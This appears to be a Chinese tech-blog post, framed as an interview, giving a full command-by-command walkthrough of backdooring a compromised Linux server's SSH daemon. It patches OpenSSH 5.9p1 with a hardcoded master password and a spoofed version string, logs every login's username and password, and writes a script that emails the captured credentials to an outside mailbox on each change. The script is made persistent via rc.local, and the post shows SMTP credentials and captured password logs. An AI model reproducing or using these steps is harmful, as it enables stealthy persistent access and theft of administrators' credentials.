注:
正在找工作的小伙伴可以看我的《运维面试宝典专栏》(持续更新中)
对职业发展比较困惑的小伙伴可以看 《IT学子成长指南》(更新中)
想要系统学习云计算运维的小伙伴可以看《循序渐进学运维专栏》 (持续更新中)
想要改变思维打造自己的副业的小伙伴可以看《年薪300W的随笔》 (持续更新中)
作者名: 互联网老辛
简介: CSDN博客专家,一线互联网从业人员,架构师,云计算运维讲师,从16年开始做直播教学,几年来,陆续帮助近3000+小伙伴高薪就业。欢迎各位小伙伴加我咨询相关问题,带你走出迷茫;
老辛: 听说你们作为安全人员,可以任意的获取肉鸡服务器的密码是怎么做到的?
美图技术专家: 我给你举个例子把:
平时我们在登陆服务器的时候,使用的是ssh服务,但我们获取肉鸡的使用权后,会修改ssh服务,使原本的ssh服务变成一个有后门漏洞的SSH服务,对他们的管理员来说,似乎没有改变什么。
但对我们来说,只要对方登陆系统,我就可以收到他的用户名和密码。 无论怎么修改密码,我都可以收到。
老辛: 太厉害了,能给大家讲讲吗?
美图技术专家: 可以啊,我开个电脑。
思路: 我们模拟给一台服务器的ssh服务,升级为我们特有的有后门漏洞的ssh服务,然后演示下如何获取密码,并发送到我的邮箱。
[root@itlaoxin63 tmp]# ssh -v #查看安装前ssh版本
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010
gcc -v
[root@itlaoxin63 tmp]# gcc -v #确认安装gcc
。。。
gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC)
若没有安装gcc,需要安装gcc
[root@itlaoxin63 tmp]# yum install gcc #如果没安装gcc,就安装一下
上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/tmp目录
包的下载地址:
https://www.cnbeta.com/articles/soft/154144.htm
5、进入文件目录
[root@itlaoxin63 tmp]# cd /tmp
解压文件
[root@itlaoxin63 tmp]# tar zxvf openssh-5.9p1.tar.gz
[root@itlaoxin63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz
[root@itlaoxin63 tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
root@itlaoxin63 openssh-5.9p1.patch]# cd openssh-5.9p1
[root@itlaoxin63 openssh-5.9p1]# patch < sshbd5.9p1.diff
打补就修改或者替换原来的文件
patching file auth.c #认证
patching file auth-pam.c #认证
patching file auth-passwd.c #认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c #关于sshd服务端
patching file sshconnect2.c #关于sshd连接
patching file sshlogin.c #关于登录,把root密码记录下来
patching file version.h #关于版本
[root@itlaoxin63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h
找到:
改:
#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" //记录从本机登录到其他服务器上的用户名和密码
#define SECRETPW "apaajaboleh" //你后门密码(后门密码是黑客使用的登录密码)
为:
#define ILOG "/usr/share/ifile"
#define OLOG "/usr/share/ofile"
#define SECRETPW "redhat"
[root@itlaoxin63 openssh-5.9p1]# vim /root/openssh-5.9p1/version.h
3 #define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"
4
5 #define SSH_PORTABLE "p1"
为:
#define SSH_VERSION " OpenSSH_5.3"
#define SSH_PORTABLE "p1"
[root@itlaoxin63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel
开始安装:
[root@itlaoxin63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
参数说明:
–prefix=/usr #指定安装到/usr 目录下
–sysconfdir=/etc/ssh #指定sshd服务配置文件目录
–with-pam #支持pam认证
–with-kerberos5 #支持kerberos认证
[root@itlaoxin63 openssh-5.9p1]# make -j 4 && make install
/usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh
/usr/bin/install -c -m 0755 -s scp /usr/bin/scp
/usr/bin/install -c -m 0755 -s ssh-add /usr/bin/ssh-add
/usr/bin/install -c -m 0755 -s ssh-agent /usr/bin/ssh-agent
/usr/bin/install -c -m 0755 -s ssh-keygen /usr/bin/ssh-keygen
/usr/bin/install -c -m 0755 -s ssh-keyscan /usr/bin/ssh-keyscan
/usr/bin/install -c -m 0755 -s sshd /usr/sbin/sshd
/usr/bin/install -c -m 4711 -s ssh-keysign /usr/libexec/ssh-keysign
/usr/bin/install -c -m 0755 -s ssh-pkcs11-helper /usr/libexec/ssh-pkcs11-helper
/usr/bin/install -c -m 0755 -s sftp /usr/bin/sftp
[root@itlaoxin63 openssh-5.9p1]# service sshd restart
测试前,发现/usr/share/ifile文件没有存在
[root@itlaoxin63 ~]# ls /usr/share/ifile
ls: cannot access /usr/share/ifile: No such file or directory
[root@itlaoxin63 ~]# cat /usr/share/ifile
此处是在本机服务器上登录的,会看到olog文件
[root@itlaoxin tmp]# ssh 192.168.1.5
The authenticity of host '192.168.1.5 (192.168.1.5)' can't be established.
ECDSA key fingerprint is 60:23:d2:32:d1:5b:1d:bd:1a:f0:33:3e:60:9c:35:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.5' (ECDSA) to the list of known hosts.
[email protected]'s password:
Last login: Thu May 6 01:08:58 2021 from 192.168.1.2
[root@itlaoxin ~]# cd /tmp/
[root@itlaoxin tmp]# ls
0x06-openssh-5.9p1.patch.tar.gz install.log openssh-5.9p1.patch
anaconda-ks.cfg install.log.syslog openssh-5.9p1.tar.gz
ilog olog sshpass-1.06.tar.gz
inotify-tools-3.13.tar.gz openssh-5.9p1 yum.log
[root@itlaoxin tmp]# cat olog
user:password@host --> root:[email protected]
[root@itlaoxin tmp]#
[root@itlaoxin63 ~]# ssh [email protected]
[email protected]’s password:123456
Last login: Wed Aug 12 19:29:28 2015 from 192.168.1.63
[root@itlaoxin64 ~]# exit
[root@itlaoxin63 ~]# cat /tmp/olog #查看记录从itlaoxin64登录到远程主机的密码
user:password@host --> root:[email protected]
user:password@host --> root:[email protected]
这里以163的smtp服务器为例,实现自动发送邮件
[root@itlaoxin63 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:
[root@itlaoxin tmp]# cat /etc/mail.rc
set [email protected] smtp=smtp.163.com
set smtp-auth-user=xinsz08vip smtp-auth-password=CNSYCIQAOUUGOSOA smtp-auth=login
set [email protected] smtp=smtp.163.com # 指定发件人的邮箱
set smtp-auth-user=xinsz08vip # 写自己发件人的邮箱账号
smtp-auth-password=CNSYCIQAOUUGOSOA # 写发件人邮箱的授权码
smtp-auth=login
点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)
记住授权码:CNSYCIQAOUUGOSOA
在操作的过程中,可能也需要要求发短信:微信扫码即可
[root@itlaoxin tmp]# mail -s “demo” [email protected] < /tmp/ilog
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FTuslAab-1620347763117)(uploading…)]
[root@itlaoxin63 bin]# vim /bin/zipmail #写入以下内容
[root@itlaoxin tmp]# cat /bin/zipmail
ip=`ifconfig |grep inet |sed -n '1p' |awk '{print $2}' |awk -F ':' '{print $2}'`
mail -s $ip [email protected] < /tmp/ilog
[root@itlaoxin63 bin]# chmod +x /bin/zipmail
[root@itlaoxin63 bin]# zipmail
发现也可以收到邮件,说明成功。
[root@itlaoxin63 ~]# tar -zxvf inotify-tools-3.13.tar.gz
[root@itlaoxin63 ~]# cd inotify-tools-3.13
[root@itlaoxin63 inotify-tools-3.13]# ./configure 检查安装环境
[root@itlaoxin63 inotify-tools-3.13]# make -j 4 #make编译,将源代码编译成二进制,可执行的文件 # -j 4 使用4个CPU一起编译。
[root@itlaoxin63 inotify-tools-3.13]# make install # 安装
[root@itlaoxin63 ~]# cat /bin/zipmail
#!/bin/bash
/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c
do
ip=`ifconfig |grep inet |sed -n '1p' |awk '{print $2}' |awk -F ':' '{print $2}'`
mail -s $ip [email protected] < /tmp/ilog
done
[root@itlaoxin63 ~]# vim /etc/rc.local #在此文件的最后插入以下内容
/bin/zipmail &
[root@itlaoxin63 ~]# bash /etc/rc.local #可以运行